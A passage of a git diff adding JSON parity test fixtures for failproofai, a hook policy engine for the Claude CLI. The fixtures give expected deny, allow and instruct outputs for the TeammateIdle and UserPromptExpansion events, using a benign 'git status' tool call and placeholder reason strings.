"git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/TeammateIdle/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/TeammateIdle/deny__tool-present__two-policies.json new file mode 100644 index 00000000..50a2f0a0 --- /dev/null +++ b/__tests__/parity/fixtures/claude/TeammateIdle/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/TeammateIdle/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/TeammateIdle/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..cbab3225 --- /dev/null +++ b/__tests__/parity/fixtures/claude/TeammateIdle/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TeammateIdle\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/TeammateIdle/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/TeammateIdle/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..ee18896e --- /dev/null +++ b/__tests__/parity/fixtures/claude/TeammateIdle/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TeammateIdle\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/TeammateIdle/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/TeammateIdle/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..e48685f4 --- /dev/null +++ b/__tests__/parity/fixtures/claude/TeammateIdle/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TeammateIdle\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/TeammateIdle/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/TeammateIdle/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..2b4cf55e --- /dev/null +++ b/__tests__/parity/fixtures/claude/TeammateIdle/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TeammateIdle\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/UserPromptExpansion/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/UserPromptExpansion/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..b2572613 --- /dev/null +++ b/__tests__/parity/fixtures/claude/UserPromptExpansion/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/UserPromptExpansion/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/UserPromptExpansion/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..369fe9ed --- /dev/null +++ b/__tests__/parity/fixtures/claude/UserPromptExpansion/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/UserPromptExpansion/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/UserPromptExpansion/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..de9e727a --- /dev/null +++ b/__tests__/parity/fixtures/claude/UserPromptExpansion/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/UserPromptExpansion/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/UserPromptExpansion/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..7b1c43a3 --- /dev/null +++ b/__tests__/parity/fixtures/claude/UserPromptExpansion/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/UserPromptExpansion/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/UserPromptExpansion/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..e7ff3923 --- /dev/null +++ b/__tests__/parity/fixtures/claude/UserPromptExpansion/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/UserPromptExpansion/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/UserPromptExpansion/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..5c8111b6 --- /dev/null +++ b/__tests__/parity/fixtures/claude/UserPromptExpansion/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/UserPromptExpansion/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/UserPromptExpansion/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..b49b2cfd --- /dev/null +++ b/__tests__/parity/fixtures/claude/UserPromptExpansion/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/UserPromptExpansion/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/UserPromptExpansion/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..421f0ce4 --- /dev/null +++ b/__tests__/parity/fixtures/claude/UserPromptExpansion/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/UserPromptExpansion/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/UserPromptExpansion/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..6559a3a8 --- /dev/null +++ b/__tests__/parity/fixtures/claude/UserPromptExpansion/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/UserPromptExpansion/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/UserPromptExpansion/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..750c439c --- /dev/null +++ b/__tests__/parity/fixtures/claude/UserPromptExpansion/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/UserPromptExpansion/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/UserPromptExpansion/deny__tool-present__one-policy.json new file mode 100644 index 00000000..3025bd0d --- /dev/null +++ b/__tests__/parity/fixtures/claude/UserPromptExpansion/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/UserPromptExpansion/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/UserPromptExpansion/deny__tool-present__two-policies.json new file mode 100644 index 00000000..a2f73b24 --- /dev/null +++ b/__tests__/parity/fixtures/claude/UserPromptExpansion/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/UserPromptExpansion/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/UserPromptExpansion/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..8c445cdd --- /dev/null +++ b/__tests__/parity/fixtures/claude/UserPromptExpansion/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptExpansion\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/UserPromptExpansion/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/UserPromptExpansion/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..1dc34727 --- /dev/null +++ b/__tests__/parity/fixtures/claude/UserPromptExpansion/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": 